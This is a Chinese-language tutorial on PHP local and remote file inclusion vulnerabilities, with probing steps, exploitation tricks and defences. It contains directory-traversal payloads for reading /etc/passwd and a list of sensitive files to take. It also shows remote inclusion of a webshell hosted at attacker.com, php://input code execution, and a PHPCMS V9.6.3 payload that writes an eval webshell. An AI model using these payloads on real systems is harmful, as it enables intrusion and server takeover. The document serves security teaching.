文件包含漏洞原理
文件包含是因为服务器端某些程序对用户提交参数过滤不当造成的,该程序一般具有以读取方式输出文件内容或者下载文件,前者也可以叫做任意文件读取,两者本质上是一样的。通常在以下情况下存在该漏洞。
通过在请求参数中传入文件路径,包括相对路径和绝对路径,如:download.php?filename=index.html
PHP代码中存在的本地文件包含漏洞,如include,include_once,require,require_once
Web目录映射到根目录,导致可直接下载任意文件,如:htttp://127.0.0.1/etc/passwd
介绍
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程般被称为包含。
程序开发人员都希望代码更加灵活,所以通常会将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
文件包含漏洞在PHP Web Application中居多,而在JSP,ASP,ASP.NET程序中却非常少,甚至没有包含漏洞的存在。
导致文件包含的函数:
- include()
- include_once()
- require()
- require_once()
- fopen()
- readfile()
当使用前4个函数包含一个新的文件时,只要文件内容符合PHP语法规范,那么任何扩展名都可以被PHP解析。包含非PHP语法规范源文件时,将会暴露其源代码。可以使用file://和php://协议进行读取。
php://filter/read/convert.base64-encode/resource=
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
漏洞的种类
本地文件包含
假如用户可以控制file参数,那么通过控制file的值来读取文件。如etc/passwd等等。
定义了后缀名=>使用%00(%00截断条件:magic_quotes_gpc = Off和php版本<5.3.4)
读取其他目录=>../../ 进行目录遍历
这种包含本地文件的形式的漏洞就叫做本地文件包含漏洞
`
远程文件包含
如果PHP的配置选项allow_url_include为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞。
控制file参数值为包含恶意代码的地址。
可以使用?来使后面的字符串变成url参数进行绕过。
allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(否许include/requirec程文件)
要想成功利用文件包含漏洞,需要满足下面两个条件:
- include()等函数通过动态变量的方式引入需要包含的文件。
-
漏洞探测方法与利用
工具扫描
Brupsuite网站浏览关注有路径的请求参数进行手工探测
手工探测:1.在路径中添加abc/../看是否可以回溯
http://127.0.0.1/download.php?filename=xxx.doc
2.修改为:
http://127.0.0.1/download.php?filename=abc/../xxx.doc
如果两次下载文件相同,则继续下面的测试
3.确定是否可以下载任意文件:
http://127.0.0.1/download.php?filename=../../../../etc/passwd
收集信息
思路一:下载系统内文件
账号文件:/etc/passwd
环境变量文件:/etc/profile
系统服务文件:/etc/services
主机名和IP配置信息:/etc/hosts 或/etc/hostname
DNS客户机配置文件:/etc/resolv.conf
MYSQL配置文件:/etc/my.conf
WebServer配置文件:/etc/httpd/httpd.conf,/etc/httpd/conf/ngnix.conf,/etc/ngnix/ngnix.conf
思路二:扫描或猜解站点可能存在的测试文件、探针文件
Test.php Phpinfo.php
思路三:源码管理站点,收集其中包含的地址信息,配置信息等
可能保存网站部分源码或工程的子站,如:dev.xxx.com、develop.xxx.com
开源站点,如github、sourceforge等
找WEB目录
在WEB服务器配置中找
猜解常见路径,如:/var/www,/home/www,/home/htdocs/等
在脚本文件中,如phpinfo中的BASEPATH等
获取地址列表
利用爬虫程序将网站的目录和文件全部爬取下来,整理出URL地址列表
批量下载脚本文件
通过自动化脚本程序将URL地址列表中的脚本文件全部下载下来
分析已经下载的文件
进行代码审计,分析源码中可能存在的各类漏洞,包括SQL注入,文件包含,命令执行,代码执行,上传漏洞等。
漏洞利用技巧
读取敏感文件
访问URL:http://www.xxser.com/index.php?page=/etc/passwd
如果目标主机文件存在文件,并且有相应的权限,那么就可以读出文件的内容。反之,就会得到一个类似于;open_basedir restriction in effect的警告。
远程包含Shell
如果目标主机allow_url_fopen选项是激活的,就可以尝试远程包含一句话木马,如:
http://attacker.com/echo.txt
内容如图所示:
访问:http://example.com/index.php?page=http://www.attacker.com/echo.txt.
将会在index php所在的目录下生成shell.php.内容为:
<?php eval(S_POST[xxser]);?>
使用PHP封装协议
对于对于include()、include_once():
file://-访问本地文件系统//allow url_fopen和allow_url_include双Off情况下可正常使用
http://-访问HTTP(s)网址
ftp://-访FTP(s)URLS
php://-访问各个输入/输出流(I/O streams)//不需要开启allow_url fopen(仅
php://input,php://stdin,php://memory和php://temp需要allow_url_include=On)
zlib://-压缩流 //双Off条件下可使用
data://-数据(RFC 2397) //双On
glob://-查找匹配的文件路径模式
phar://-PHP 归档
ssh2://-Secure Shell 2
rar://-RAR
读文件:file://协议:ctf.php?file=file://D:/Server/htdocs/emlog/phpinfo.txt
php://filterp议:ctf.php?file=php://filter/resource=phpinfo.txt
php://filter/read=convert.base64-encode协议:
ctf.php?file=php://filter/read/convert.base64-encode/resource=phpinfo.txt//base64
ctf php?file=php://filter/read=string.tolower/resource=test.txt//原文
执行命令
ctf.php?file=php://input
POST数据:file=<?php phpinfo();?>
此协议需要allow_url_include=On;
漏洞审计实战
文件包含漏洞复现
PHPCMS V9.6.3后台文件包含漏洞=> getshell
向这个url中发送POST数据包:index.php?m=block&c=block_admin&pc_hash=B8mgrw&a=add&pos=1
POST数据为:dosubmit=1&name=ac&type=2之后再填入payload:
<?php file_put_contents("phpcms_shell.php","<?php eval(\$_POST[1]);?>");
首先使用add方法,向数据库中插入了一个列的值,然后进行赋值,写入到一个新的文件中
通过两个方法,写入到一个新的文件当中,使用php_put_contents方法进行写入,使用蚁剑相连
使用加载的pc_hash的值,进行绕过验证登录
利用:
写入PHP文件漏洞防御方法
严格判断包含的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制
路径限制:限制被包含的文件只能在某一文件夹内,一定要禁止目录跳转字符,如:”../“
包含文件验证:验证被包含的文件是否是白名单中的一员
尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include(“head.php”);